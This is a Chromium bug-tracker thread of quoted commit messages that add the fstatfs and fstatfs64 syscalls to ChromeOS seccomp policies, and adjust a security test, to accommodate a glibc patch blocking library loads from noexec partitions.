iioservice: seccomp: Add fstafs call for glibc
At present, libraries which use glibc to dynamically load
shared libraries do not have fstafs in their seccomp policies.
A change in glibc will force all systems which load shared
libraries to call the fstatfs or fstatfs64 syscall.
iioservice was found to use these new syscalls, so it's being
added here.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: If13fcd06fb44e7a2448dd6553deb787b9c110aea
Reviewed-on:
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Cheng-Hao Yang <chenghaoyang@chromium.org>
Reviewed-by: Mike Frysinger <vapier@chromium.org>
Reviewed-by: Gwendal Grignou <gwendal@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #50
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/0f602cf40efe4515784fb9eb506e2e77749d1b42
commit 0f602cf40efe4515784fb9eb506e2e77749d1b42
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sat Jul 17 00:58:34 2021
camera: seccomp: Add fstafs call for glibc
At present, libraries which use glibc to dynamically load
shared libraries do not have fstafs in their seccomp policies.
A change in glibc will force all systems which load shared
libraries to call the fstatfs or fstatfs64 syscall.
cros-camera-.*-algo was found to use these new syscalls, so it's being
added here.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: If52157b0a973fdaf69f8c5c7130ca3c6dd907226
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/3035236
Reviewed-by: Hung-yu Wu <hywu@chromium.org>
Commit-Queue: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[modify]https://crrev.com/0f602cf40efe4515784fb9eb506e2e77749d1b42/camera/common/seccomp_filter/cros-camera-gpu-algo-amd64.policy
[modify]https://crrev.com/0f602cf40efe4515784fb9eb506e2e77749d1b42/camera/common/seccomp_filter/cros-camera-gpu-algo-arm.policy
commit 0f602cf40efe4515784fb9eb506e2e77749d1b42
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sat Jul 17 00:58:34 2021
camera: seccomp: Add fstafs call for glibc
At present, libraries which use glibc to dynamically load
shared libraries do not have fstafs in their seccomp policies.
A change in glibc will force all systems which load shared
libraries to call the fstatfs or fstatfs64 syscall.
cros-camera-.*-algo was found to use these new syscalls, so it's being
added here.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: If52157b0a973fdaf69f8c5c7130ca3c6dd907226
Reviewed-on:
Reviewed-by: Hung-yu Wu <hywu@chromium.org>
Commit-Queue: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #51
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform/crosvm/+/e3c53096d70b094ecba740cc4c0db5217e5125a9
commit e3c53096d70b094ecba740cc4c0db5217e5125a9
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu Jul 08 02:02:59 2021
seccomp: Update seccomp filters for glibc
At present, libraries which use glibc to dynamically load
shared libraries do not have fstafs in their seccomp policies.
A change in glibc will force all systems which load shared
libraries to call the fstatfs or fstatfs64 syscall.
Without the call, crosvm will not start when running
crostini/android tests.
BUG=chromium:1182687
TEST=CQ ofhttps://crrev.com/c/2910526
Change-Id: I10abb8866474c2fe0398a17a80069cf2b0629493
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform/crosvm/+/3011355
Tested-by: kokoro <noreply+kokoro@google.com>
Reviewed-by: Dennis Kempin <denniskempin@google.com>
Reviewed-by: Daniel Verkamp <dverkamp@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]https://crrev.com/e3c53096d70b094ecba740cc4c0db5217e5125a9/seccomp/aarch64/gpu_device.policy
[modify]https://crrev.com/e3c53096d70b094ecba740cc4c0db5217e5125a9/seccomp/arm/gpu_device.policy
[modify]https://crrev.com/e3c53096d70b094ecba740cc4c0db5217e5125a9/seccomp/arm/video_device.policy
[modify]https://crrev.com/e3c53096d70b094ecba740cc4c0db5217e5125a9/seccomp/x86_64/gpu_device.policy
[modify]https://crrev.com/e3c53096d70b094ecba740cc4c0db5217e5125a9/seccomp/x86_64/video_device.policy
commit e3c53096d70b094ecba740cc4c0db5217e5125a9
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu Jul 08 02:02:59 2021
seccomp: Update seccomp filters for glibc
At present, libraries which use glibc to dynamically load
shared libraries do not have fstafs in their seccomp policies.
A change in glibc will force all systems which load shared
libraries to call the fstatfs or fstatfs64 syscall.
Without the call, crosvm will not start when running
crostini/android tests.
BUG=chromium:1182687
TEST=CQ of
Change-Id: I10abb8866474c2fe0398a17a80069cf2b0629493
Reviewed-on:
Tested-by: kokoro <noreply+kokoro@google.com>
Reviewed-by: Dennis Kempin <denniskempin@google.com>
Reviewed-by: Daniel Verkamp <dverkamp@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]
[modify]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #52
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #53
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/overlays/chromiumos-overlay/+/e8a7ecb632eb7041b9c290d0d2a9ecadcba62cbc
commit e8a7ecb632eb7041b9c290d0d2a9ecadcba62cbc
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Jul 20 20:55:02 2021
wpa_supplicant: Add fstafs for glibc to seccomp
At present, libraries which use glibc to dynamically load
shared libraries do not have fstafs in their seccomp policies.
A change in glibc will force all systems which load shared
libraries to call the fstatfs or fstatfs64 syscall.
wpa_supplicant was found to use these new syscalls, so it's being
added here.
BUG=chromium:1182687
TEST=CQ ofhttp://crrev.com/c/2910526
Change-Id: I0878cdba6b17f88b735455dc36cf5ce30ada5aba
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/overlays/chromiumos-overlay/+/3042345
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Evan Benn <evanbenn@chromium.org>
Reviewed-by: Brian Norris <briannorris@chromium.org>
[modify]https://crrev.com/e8a7ecb632eb7041b9c290d0d2a9ecadcba62cbc/net-wireless/wpa_supplicant-2_9/files/seccomp/wpa_supplicant-amd64.policy
[modify]https://crrev.com/e8a7ecb632eb7041b9c290d0d2a9ecadcba62cbc/net-wireless/wpa_supplicant-2_9/files/seccomp/wpa_supplicant-arm.policy
[modify]https://crrev.com/e8a7ecb632eb7041b9c290d0d2a9ecadcba62cbc/net-wireless/wpa_supplicant-2_9/files/seccomp/wpa_supplicant-arm64.policy
commit e8a7ecb632eb7041b9c290d0d2a9ecadcba62cbc
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Jul 20 20:55:02 2021
wpa_supplicant: Add fstafs for glibc to seccomp
At present, libraries which use glibc to dynamically load
shared libraries do not have fstafs in their seccomp policies.
A change in glibc will force all systems which load shared
libraries to call the fstatfs or fstatfs64 syscall.
wpa_supplicant was found to use these new syscalls, so it's being
added here.
BUG=chromium:1182687
TEST=CQ of
Change-Id: I0878cdba6b17f88b735455dc36cf5ce30ada5aba
Reviewed-on:
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Evan Benn <evanbenn@chromium.org>
Reviewed-by: Brian Norris <briannorris@chromium.org>
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #54
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform/tast-tests/+/8b2cf73f1ea3e342bed391163dba38565d30d1eb
commit 8b2cf73f1ea3e342bed391163dba38565d30d1eb
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu Jul 22 23:26:28 2021
tast-tests: Temporarily ignore librt in RunOCI
A security change in glibc prevents loading shared libraries from
noexec partitions. Apparently for this test /lib64/librt.so.1
triggers the noexec failure, leading to a different stderr message
and no stdout. But it doesn't seem to be consistent.
For now, we're working around this test by ignoring errors which
have the string /lib64/librt.so.1, at the request of jorgelo@.
Tracking bug is b/194923131 .
BUG=chromium:1182687
TEST=CQ ofhttp://crrev.com/c/2910526
Change-Id: Ifa22506ad3a698d82bda009e77c61f9485a84bda
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform/tast-tests/+/3046720
Reviewed-by: Jorge Lucangeli Obes <jorgelo@chromium.org>
Reviewed-by: Ricardo Quesada <ricardoq@chromium.org>
Reviewed-by: Keigo Oka <oka@chromium.org>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]https://crrev.com/8b2cf73f1ea3e342bed391163dba38565d30d1eb/src/chromiumos/tast/local/bundles/cros/security/run_oci.go
commit 8b2cf73f1ea3e342bed391163dba38565d30d1eb
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu Jul 22 23:26:28 2021
tast-tests: Temporarily ignore librt in RunOCI
A security change in glibc prevents loading shared libraries from
noexec partitions. Apparently for this test /lib64/librt.so.1
triggers the noexec failure, leading to a different stderr message
and no stdout. But it doesn't seem to be consistent.
For now, we're working around this test by ignoring errors which
have the string /lib64/librt.so.1, at the request of jorgelo@.
Tracking bug is
BUG=chromium:1182687
TEST=CQ of
Change-Id: Ifa22506ad3a698d82bda009e77c61f9485a84bda
Reviewed-on:
Reviewed-by: Jorge Lucangeli Obes <jorgelo@chromium.org>
Reviewed-by: Ricardo Quesada <ricardoq@chromium.org>
Reviewed-by: Keigo Oka <oka@chromium.org>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #55
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/third_party/adhd/+/b9c5f099b4a1070bc874363226317befc0a963f1
commit b9c5f099b4a1070bc874363226317befc0a963f1
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sun Aug 01 18:28:02 2021
seccomp: Mass fstatfs change for glibc for Arm
On trogdor devices, fstatfs64 is not used. Instead, 32bit
fstatfs is used. We need to add both to all 32bit Arm
policy files which were originally determined to be
problematic.
This adds fstsatfs to all 32bit Arm policy files which
were modified for the original glibc security change.
Additionally, this commit sorts the syscalls lexicographically
if the policy file was already sorted.
BUG=chromium:1182687
TEST=CQ ofhttp://crrev.com/c/2910526
Change-Id: I5543ab0385b5d206b8edbf6229569f13a70c3c17
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/third_party/adhd/+/3066339
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Reviewed-by: Cheng-Yi Chiang <cychiang@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
[modify]https://crrev.com/b9c5f099b4a1070bc874363226317befc0a963f1/seccomp/cras-seccomp-arm.policy
commit b9c5f099b4a1070bc874363226317befc0a963f1
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sun Aug 01 18:28:02 2021
seccomp: Mass fstatfs change for glibc for Arm
On trogdor devices, fstatfs64 is not used. Instead, 32bit
fstatfs is used. We need to add both to all 32bit Arm
policy files which were originally determined to be
problematic.
This adds fstsatfs to all 32bit Arm policy files which
were modified for the original glibc security change.
Additionally, this commit sorts the syscalls lexicographically
if the policy file was already sorted.
BUG=chromium:1182687
TEST=CQ of
Change-Id: I5543ab0385b5d206b8edbf6229569f13a70c3c17
Reviewed-on:
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Reviewed-by: Cheng-Yi Chiang <cychiang@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #56
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #57
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform/crosvm/+/b785cf2bae7e3c797422f7479f71d2eab621981e
commit b785cf2bae7e3c797422f7479f71d2eab621981e
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sun Aug 01 18:29:01 2021
seccomp: Mass fstatfs change for glibc for Arm
On trogdor devices, fstatfs64 is not used. Instead, 32bit
fstatfs is used. We need to add both to all 32bit Arm
policy files which were originally determined to be
problematic.
This adds fstsatfs to all 32bit Arm policy files which
were modified for the original glibc security change.
Additionally, this commit sorts the syscalls lexicographically
if the policy file was already sorted.
BUG=chromium:1182687
TEST=CQ ofhttp://crrev.com/c/2910526
Change-Id: I42eb12456625d400ee3422af08d56d648e3f9075
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform/crosvm/+/3066144
Tested-by: kokoro <noreply+kokoro@google.com>
Reviewed-by: Daniel Verkamp <dverkamp@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]https://crrev.com/b785cf2bae7e3c797422f7479f71d2eab621981e/seccomp/arm/gpu_device.policy
[modify]https://crrev.com/b785cf2bae7e3c797422f7479f71d2eab621981e/seccomp/arm/video_device.policy
commit b785cf2bae7e3c797422f7479f71d2eab621981e
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sun Aug 01 18:29:01 2021
seccomp: Mass fstatfs change for glibc for Arm
On trogdor devices, fstatfs64 is not used. Instead, 32bit
fstatfs is used. We need to add both to all 32bit Arm
policy files which were originally determined to be
problematic.
This adds fstsatfs to all 32bit Arm policy files which
were modified for the original glibc security change.
Additionally, this commit sorts the syscalls lexicographically
if the policy file was already sorted.
BUG=chromium:1182687
TEST=CQ of
Change-Id: I42eb12456625d400ee3422af08d56d648e3f9075
Reviewed-on:
Tested-by: kokoro <noreply+kokoro@google.com>
Reviewed-by: Daniel Verkamp <dverkamp@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #58
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/overlays/chromiumos-overlay/+/71a9265cc00c071edaaca54e2bd7607160f5ab39
commit 71a9265cc00c071edaaca54e2bd7607160f5ab39
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sun Aug 01 18:23:47 2021
seccomp: Mass fstatfs change for glibc for Arm
On trogdor devices, fstatfs64 is not used. Instead, 32bit
fstatfs is used. We need to add both to all 32bit Arm
policy files.
This adds fstsatfs to all 32bit Arm policy files which
were modified for the original glibc security change.
Additionally, this commit sorts the syscalls lexicographically
if the policy file was already sorted.
BUG=chromium:1182687
TEST=CQ ofhttp://crrev.com/c/2910526
Change-Id: I6f64509bffdc4e4f33526334860dc0e1fc2a2e80
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/overlays/chromiumos-overlay/+/3066224
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
[rename]https://crrev.com/71a9265cc00c071edaaca54e2bd7607160f5ab39/chromeos-base/arc-sslh-init/arc-sslh-init-0.0.1-r22.ebuild
[modify]https://crrev.com/71a9265cc00c071edaaca54e2bd7607160f5ab39/chromeos-base/arc-sslh-init/files/sslh-seccomp-arm.policy
[rename]https://crrev.com/71a9265cc00c071edaaca54e2bd7607160f5ab39/net-firewall/conntrack-tools/conntrack-tools-1.4.4-r18.ebuild
[modify]https://crrev.com/71a9265cc00c071edaaca54e2bd7607160f5ab39/net-firewall/conntrack-tools/files/conntrackd-seccomp-arm.policy
[modify]https://crrev.com/71a9265cc00c071edaaca54e2bd7607160f5ab39/net-firewall/conntrack-tools/files/conntrackd-seccomp-x86.policy
[modify]https://crrev.com/71a9265cc00c071edaaca54e2bd7607160f5ab39/net-misc/modemmanager-next/files/modemmanager-arm.policy
[modify]https://crrev.com/71a9265cc00c071edaaca54e2bd7607160f5ab39/net-print/cups/files/cupstestppd-seccomp-arm.policy
[modify]https://crrev.com/71a9265cc00c071edaaca54e2bd7607160f5ab39/net-print/cups/files/cupstestppd-seccomp-x86.policy
[modify]https://crrev.com/71a9265cc00c071edaaca54e2bd7607160f5ab39/net-print/cups/files/lpadmin-seccomp-arm.policy
[modify]https://crrev.com/71a9265cc00c071edaaca54e2bd7607160f5ab39/net-print/cups/files/lpadmin-seccomp-x86.policy
[modify]https://crrev.com/71a9265cc00c071edaaca54e2bd7607160f5ab39/net-wireless/wpa_supplicant-2_9/files/seccomp/wpa_supplicant-arm.policy
commit 71a9265cc00c071edaaca54e2bd7607160f5ab39
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sun Aug 01 18:23:47 2021
seccomp: Mass fstatfs change for glibc for Arm
On trogdor devices, fstatfs64 is not used. Instead, 32bit
fstatfs is used. We need to add both to all 32bit Arm
policy files.
This adds fstsatfs to all 32bit Arm policy files which
were modified for the original glibc security change.
Additionally, this commit sorts the syscalls lexicographically
if the policy file was already sorted.
BUG=chromium:1182687
TEST=CQ of
Change-Id: I6f64509bffdc4e4f33526334860dc0e1fc2a2e80
Reviewed-on:
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
[rename]
[modify]
[rename]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #59
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform/tast-tests/+/8733af617c8a8aebba9594ebb7586ea90369ea05
commit 8733af617c8a8aebba9594ebb7586ea90369ea05
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Aug 10 16:49:42 2021
security: Ignore 32bit librt failures in RunOCI
At present, we implemented a temporary run_oci.go hack which ignored
lib64/librt.so.1 for security hardening in glibc.
This fixed our error failure correctly for 64bit binaries. However,
specifically on elm devices, this error shows up with lib/librt.so.1.
This fix attempts to generalize the exception.
BUG=chromium:1182687
TEST=CQ ofhttp://crrev.com/c/2910526
Change-Id: Id422e74f9b857b035e90363c0c60a6847e0e0876
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform/tast-tests/+/3085523
Reviewed-by: David Stevens <stevensd@chromium.org>
Reviewed-by: Shuo-Peng Liao <deanliao@chromium.org>
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]https://crrev.com/8733af617c8a8aebba9594ebb7586ea90369ea05/src/chromiumos/tast/local/bundles/cros/security/run_oci.go
commit 8733af617c8a8aebba9594ebb7586ea90369ea05
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Aug 10 16:49:42 2021
security: Ignore 32bit librt failures in RunOCI
At present, we implemented a temporary run_oci.go hack which ignored
lib64/librt.so.1 for security hardening in glibc.
This fixed our error failure correctly for 64bit binaries. However,
specifically on elm devices, this error shows up with lib/librt.so.1.
This fix attempts to generalize the exception.
BUG=chromium:1182687
TEST=CQ of
Change-Id: Id422e74f9b857b035e90363c0c60a6847e0e0876
Reviewed-on:
Reviewed-by: David Stevens <stevensd@chromium.org>
Reviewed-by: Shuo-Peng Liao <deanliao@chromium.org>
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #60
The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/7b24f4df5c4a4d13c23f42a8e33686748415dd01
commit 7b24f4df5c4a4d13c23f42a8e33686748415dd01
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu Aug 12 18:18:15 2021
linux sandbox: add fstatfs for arm gpu policy
This missing syscall is preventing the sandbox from starting ChromeOS
when we apply a security patch to glibc.
glibc's loader can be exploited on preload to get around no-exec
restrictions. We've implemented a patch in CrOS's glibc implementation
to resolve this. However, fstatfs is required to determine file-system
information about the shared libraries.
Without this patch, fstatfs calls on ChromeOS boards such as Trogdor
are unable to get the user to the log-in screen when glibc requires
fstatfs-ing shared objects on preload.
Bug: chromium:1182687
Test: Local images with and without patch on local Trogdor device
Change-Id: I35094cdf101e7981711e603d1e04df4214b525cf
Reviewed-on:https://chromium-review.googlesource.com/c/chromium/src/+/3089652
Reviewed-by: Matthew Denton <mpdenton@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Cr-Commit-Position: refs/heads/master@{#911398}
[modify]https://crrev.com/7b24f4df5c4a4d13c23f42a8e33686748415dd01/sandbox/policy/linux/bpf_cros_arm_gpu_policy_linux.cc
commit 7b24f4df5c4a4d13c23f42a8e33686748415dd01
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Thu Aug 12 18:18:15 2021
linux sandbox: add fstatfs for arm gpu policy
This missing syscall is preventing the sandbox from starting ChromeOS
when we apply a security patch to glibc.
glibc's loader can be exploited on preload to get around no-exec
restrictions. We've implemented a patch in CrOS's glibc implementation
to resolve this. However, fstatfs is required to determine file-system
information about the shared libraries.
Without this patch, fstatfs calls on ChromeOS boards such as Trogdor
are unable to get the user to the log-in screen when glibc requires
fstatfs-ing shared objects on preload.
Bug: chromium:1182687
Test: Local images with and without patch on local Trogdor device
Change-Id: I35094cdf101e7981711e603d1e04df4214b525cf
Reviewed-on:
Reviewed-by: Matthew Denton <mpdenton@chromium.org>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Cr-Commit-Position: refs/heads/master@{#911398}
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #61
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/2992a449755a022d4b0ceee773af1fed474edeb7
commit 2992a449755a022d4b0ceee773af1fed474edeb7
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sun Aug 01 18:17:16 2021
seccomp: Mass fstatfs change for glibc for Arm
On trogdor devices, fstatfs64 is not used. Instead, 32bit
fstatfs is used. We need to add both to all 32bit Arm
policy files.
This adds fstsatfs to all 32bit Arm policy files which
were modified for the original glibc security change.
Additionally, this commit sorts the syscalls lexicographically
if the policy file was already sorted.
BUG=chromium:1182687
TEST=CQ ofhttp://crrev.com/c/2910526
TEST=Tested on trogdor device locally
Change-Id: I24b6e99bdca5bf44d7b42dc3aaa8890543629c1b
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/3066382
Reviewed-by: Chris McDonald <cjmcdonald@chromium.org>
Reviewed-by: Jorge Lucangeli Obes <jorgelo@chromium.org>
Owners-Override: Chris McDonald <cjmcdonald@chromium.org>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/arc/container/appfuse/seccomp/arc-appfuse-provider-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/arc/keymaster/seccomp/arc-keymasterd-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/arc/vm/forward-pstore/seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/attestation/pca_agent/server/pca_agentd-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/biod/init/seccomp/bio-crypto-init-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/biod/init/seccomp/biod-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/camera/common/seccomp_filter/cros-camera-algo-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/camera/common/seccomp_filter/cros-camera-gpu-algo-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/cros-disks/fuse-zip-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/cros-disks/rar2fs-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/crosdns/init/crosdns-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/cryptohome/bootlockbox/seccomp/bootlockboxd-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/cryptohome/seccomp/cryptohome-proxy-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/cups_proxy/seccomp/cups_proxy-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/diagnostics/init/cros_healthd-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/dlcservice/seccomp/dlcservice-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/dns-proxy/seccomp/dns-proxy-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/iioservice/daemon/seccomp/iioservice-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/imageloader/seccomp/imageloader-helper-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/imageloader/seccomp/imageloader-helper-seccomp-x86.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/imageloader/seccomp/imageloader-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/imageloader/seccomp/imageloader-seccomp-x86.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/midis/seccomp/midis-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/ml/seccomp/ml_service-WebPlatformHandwritingModel-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/ml/seccomp/ml_service-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/mtpd/mtpd-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/mtpd/mtpd-seccomp-x86.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/oobe_config/seccomp_filters/oobe_config_restore-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/runtime_probe/sandbox/arm/ata_storage-seccomp.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/runtime_probe/sandbox/arm/cellular_network-seccomp.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/runtime_probe/sandbox/arm/edid-seccomp.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/runtime_probe/sandbox/arm/ethernet_network-seccomp.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/runtime_probe/sandbox/arm/generic_battery-seccomp.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/runtime_probe/sandbox/arm/generic_network-seccomp.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/runtime_probe/sandbox/arm/input_device-seccomp.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/runtime_probe/sandbox/arm/mmc_storage-seccomp.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/runtime_probe/sandbox/arm/nvme_storage-seccomp.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/runtime_probe/sandbox/arm/usb_camera-seccomp.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/runtime_probe/sandbox/arm/wireless_network-seccomp.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/runtime_probe/seccomp/runtime_probe-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/system-proxy/seccomp/system-proxy-seccomp-arm.policy
[modify]https://crrev.com/2992a449755a022d4b0ceee773af1fed474edeb7/vm_tools/init/vm_cicerone-seccomp-arm.policy
commit 2992a449755a022d4b0ceee773af1fed474edeb7
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Sun Aug 01 18:17:16 2021
seccomp: Mass fstatfs change for glibc for Arm
On trogdor devices, fstatfs64 is not used. Instead, 32bit
fstatfs is used. We need to add both to all 32bit Arm
policy files.
This adds fstsatfs to all 32bit Arm policy files which
were modified for the original glibc security change.
Additionally, this commit sorts the syscalls lexicographically
if the policy file was already sorted.
BUG=chromium:1182687
TEST=CQ of
TEST=Tested on trogdor device locally
Change-Id: I24b6e99bdca5bf44d7b42dc3aaa8890543629c1b
Reviewed-on:
Reviewed-by: Chris McDonald <cjmcdonald@chromium.org>
Reviewed-by: Jorge Lucangeli Obes <jorgelo@chromium.org>
Owners-Override: Chris McDonald <cjmcdonald@chromium.org>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
